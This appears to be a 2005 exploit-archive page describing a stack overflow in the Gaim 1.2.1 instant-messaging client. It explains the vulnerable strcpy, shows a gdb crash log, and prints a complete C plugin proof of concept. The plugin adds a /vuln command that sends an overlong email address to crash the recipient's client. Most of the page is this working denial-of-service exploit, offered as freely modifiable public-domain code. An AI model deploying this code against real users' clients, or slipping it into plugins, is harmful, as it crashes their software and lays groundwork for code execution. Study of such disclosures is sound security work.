首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Gaim Stack Overflow
来源:iago@valhallalegends.com 作者:Ron 发布时间:2005-05-16  

Gaim Stack Overflow (PoC)

Summary
"Gaim is a multi-protocol instant messaging (IM) client for Linux, BSD, MacOS X, and Windows. It is compatible with AIM and ICQ (Oscar protocol), MSN Messenger, Yahoo!, IRC, Jabber, Gadu-Gadu, SILC, GroupWise Messenger, and Zephyr networks."

A stack overflow vulnerability exists in Gaim, exploiting this vulnerability can lead to denial of service or, potentially, arbitrary code execution.

Credit:
The information has been provided by Ron.

Details
Vulnerable Systems:
* Gaim version 1.2.1

Ron was looking at the stack overflow reported in Gaim 1.2.1. It's was actually pretty trivial to find. The line that contains it looks like this:
strcpy(url_buf, gurl_buf->str);
url_buf is a 8192-byte buffer, and gurl_buf->str is an email address that is being displayed (user controlled).

The difficulty in writing a real exploit is that the input is sanitized, so any character over 128, as well as ' ', ',', '\n', '<', and others are stripped away. This doesn't leave much to play with, although it would be possible to write an exploit under these conditions.

Another difficulty is that most chat protocols limit you to a reasonable message size, and 8192 is typically well above that size. So even if you could successfully create an exploit, you would still have to do it on a chat protocol that allows very long messages. The final difficulty is that you also process the URL locally, when you send it, but that's not really a big deal. It would be trivial to filter it out in a plugin to make sure you don't crash yourself.

For this example, Ron just threw together a quick plugin (based on an old plugin He wrote, which is why it's such a mess) which sends a 10002-character email address when the user types "/vuln". Gaim crashes at the address 0x41414141.

(gdb) run
Starting program: /usr/local/bin/gaim
[Thread debugging using libthread_db enabled]
[New Thread 16384 (LWP 24908)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 16384 (LWP 24908)]
0x41414141 in ?? ()

Proof of Concept:
// Written by Ron <iago@valhallalegends.com>
// Friday, May 13, 2005
//
// This is a very weak demonstration of Gaim 1.2.1's stack overflow vulnerability
// when processing email addresses. What this basically does is segfault you when you
// do a /vuln command in a conversation, and, if you're using a protocol that allows
// a 10002-character message to go through, also segfaults the person you sent it to.
// The reason is that gaim's stack is overwritten with a whole bunch of 'A's, and
// the return address of the function ends up at 0x41414141. That's no good for
// anybody.
//
// This code should be considered public domain, and is freely modifiable/distributable
// by any and everyone.
//
// Note:
// To compile, place this in the "plugins" directory of Gaim's source
// (gaim-1.2.1/plugins) and type "make vuln-plugin.so". This will compile vuln-plugin.so.
// Then put it in ~/.gaim/plugins, restart gaim, and load it as a plugin.


#include <unistd.h>
#include <ctype.h>
#include <string.h>
#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "internal.h"
#include "gtkgaim.h"

#include "debug.h"
#include "signals.h"
#include "util.h"
#include "version.h"
#include "cmds.h"
#include "conversation.h"

#include "gtkplugin.h"
#include "gtkutils.h"

#define ME "1.2.1 Vuln Check"
#define MAXLENGTH 1024
#define XMMS_PLUGIN_VERSION "I am a test plugin to check for URL encoding vulnerability."

static GaimCmdId cmd;


char *code = "A@AAAA...(A*8192)...AAAAA";

gboolean go(GaimConversation *conv, const gchar *cmd, gchar **args, gchar **error, void *data)
{
gaim_conv_im_send(GAIM_CONV_IM(conv), code);

return GAIM_CMD_STATUS_OK;
}

static gboolean plugin_load(GaimPlugin *plugin)
{
cmd = gaim_cmd_register("vuln", "", GAIM_CMD_P_DEFAULT, GAIM_CMD_FLAG_IM, NULL, (GaimCmdFunc)go, "/vuln", NULL);

return TRUE;
}

static gboolean plugin_unload(GaimPlugin *plugin)
{
gaim_cmd_unregister (cmd);

return TRUE;
}

static GaimPluginInfo info =
{
GAIM_PLUGIN_MAGIC,
GAIM_MAJOR_VERSION,
GAIM_MINOR_VERSION,
GAIM_PLUGIN_STANDARD, /**< type */
NULL, /**< ui_requirement */
0, /**< flags */
NULL, /**< dependencies */
GAIM_PRIORITY_DEFAULT, /**< priority */
NULL, /**< id */
N_("1.2.1 Email Overflow Demo"), /**< name */
VERSION, /**< version */
/** summary */
N_(""),
/** description */
N_(""),
"Ron <iago@valhallalegends.com>", /**< author */
"", /**< homepage */

plugin_load, /**< load */
plugin_unload, /**< unload */
NULL, /**< destroy */

NULL, /**< ui_info */
NULL, /**< extra_info */
NULL,
NULL
};


static void init_plugin(GaimPlugin *plugin)
{
}

GAIM_INIT_PLUGIN(XMMSPlugin, init_plugin, info)



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ethereal <= 0.10.10 SIP Dis
·Bakbone Netvault Heap Overflow
·Linux Kernel binfmt_elf Core D
·Apache HTDigest Realm Command
·Microsoft Message Queuing Remo
·Linux Kernel ELF Core Dump Pri
·MySQL MaxDB Webtool GET Comman
·Linux kernel pktcdvd ioctl bre
·Hosting Controller Unauthentic
·procps vmstat p Argument Local
·Mozilla Firefox Arbitrary Code
·Microsoft Windows XP/2003 IPv6
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved